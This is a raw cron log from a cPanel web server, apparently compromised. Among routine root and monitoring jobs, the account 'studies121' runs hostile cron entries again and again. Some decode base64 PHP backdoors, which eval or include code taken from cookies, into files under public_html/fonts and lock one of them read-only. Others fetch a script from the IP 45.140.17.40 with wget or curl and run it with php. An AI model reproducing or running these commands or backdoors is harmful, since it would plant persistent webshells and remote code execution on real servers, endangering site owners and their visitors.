Sep  8 13:03:01 ip-184-168-122-23 CROND[24021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:04:01 ip-184-168-122-23 CROND[24110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:04:01 ip-184-168-122-23 CROND[24112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:04:01 ip-184-168-122-23 CROND[24113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:04:01 ip-184-168-122-23 CROND[24114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:04:01 ip-184-168-122-23 CROND[24115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:05:02 ip-184-168-122-23 CROND[24311]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:05:02 ip-184-168-122-23 CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:05:02 ip-184-168-122-23 CROND[24315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:05:02 ip-184-168-122-23 CROND[24313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:05:02 ip-184-168-122-23 CROND[24318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:05:02 ip-184-168-122-23 CROND[24316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:05:02 ip-184-168-122-23 CROND[24317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:06:01 ip-184-168-122-23 CROND[24415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:06:01 ip-184-168-122-23 CROND[24417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:06:01 ip-184-168-122-23 CROND[24419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:06:01 ip-184-168-122-23 CROND[24418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:06:01 ip-184-168-122-23 CROND[24420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:07:01 ip-184-168-122-23 CROND[24507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:07:01 ip-184-168-122-23 CROND[24509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:07:01 ip-184-168-122-23 CROND[24510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:07:01 ip-184-168-122-23 CROND[24513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:08:01 ip-184-168-122-23 CROND[24607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:08:01 ip-184-168-122-23 CROND[24609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:08:01 ip-184-168-122-23 CROND[24610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:08:01 ip-184-168-122-23 CROND[24611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:08:01 ip-184-168-122-23 CROND[24612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:09:01 ip-184-168-122-23 CROND[24692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:09:01 ip-184-168-122-23 CROND[24696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:09:01 ip-184-168-122-23 CROND[24697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:09:01 ip-184-168-122-23 CROND[24695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:09:01 ip-184-168-122-23 CROND[24694]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 13:10:01 ip-184-168-122-23 CROND[24791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:10:01 ip-184-168-122-23 CROND[24792]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:10:01 ip-184-168-122-23 CROND[24799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:10:01 ip-184-168-122-23 CROND[24798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:10:01 ip-184-168-122-23 CROND[24797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:10:01 ip-184-168-122-23 CROND[24796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:10:01 ip-184-168-122-23 CROND[24802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:10:01 ip-184-168-122-23 CROND[24800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:11:01 ip-184-168-122-23 CROND[24995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:11:01 ip-184-168-122-23 CROND[24998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:11:01 ip-184-168-122-23 CROND[24999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:11:01 ip-184-168-122-23 CROND[24997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:12:01 ip-184-168-122-23 CROND[25090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:12:01 ip-184-168-122-23 CROND[25091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:12:01 ip-184-168-122-23 CROND[25092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:12:01 ip-184-168-122-23 CROND[25093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:12:01 ip-184-168-122-23 CROND[25097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:13:02 ip-184-168-122-23 CROND[25183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:13:02 ip-184-168-122-23 CROND[25185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:13:02 ip-184-168-122-23 CROND[25186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:13:02 ip-184-168-122-23 CROND[25187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:14:01 ip-184-168-122-23 CROND[25315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:14:01 ip-184-168-122-23 CROND[25317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:14:01 ip-184-168-122-23 CROND[25318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:14:01 ip-184-168-122-23 CROND[25319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:14:01 ip-184-168-122-23 CROND[25323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:15:01 ip-184-168-122-23 CROND[25416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:15:01 ip-184-168-122-23 CROND[25420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:15:01 ip-184-168-122-23 CROND[25425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:15:01 ip-184-168-122-23 CROND[25426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:15:01 ip-184-168-122-23 CROND[25423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:15:01 ip-184-168-122-23 CROND[25429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:16:01 ip-184-168-122-23 CROND[25523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
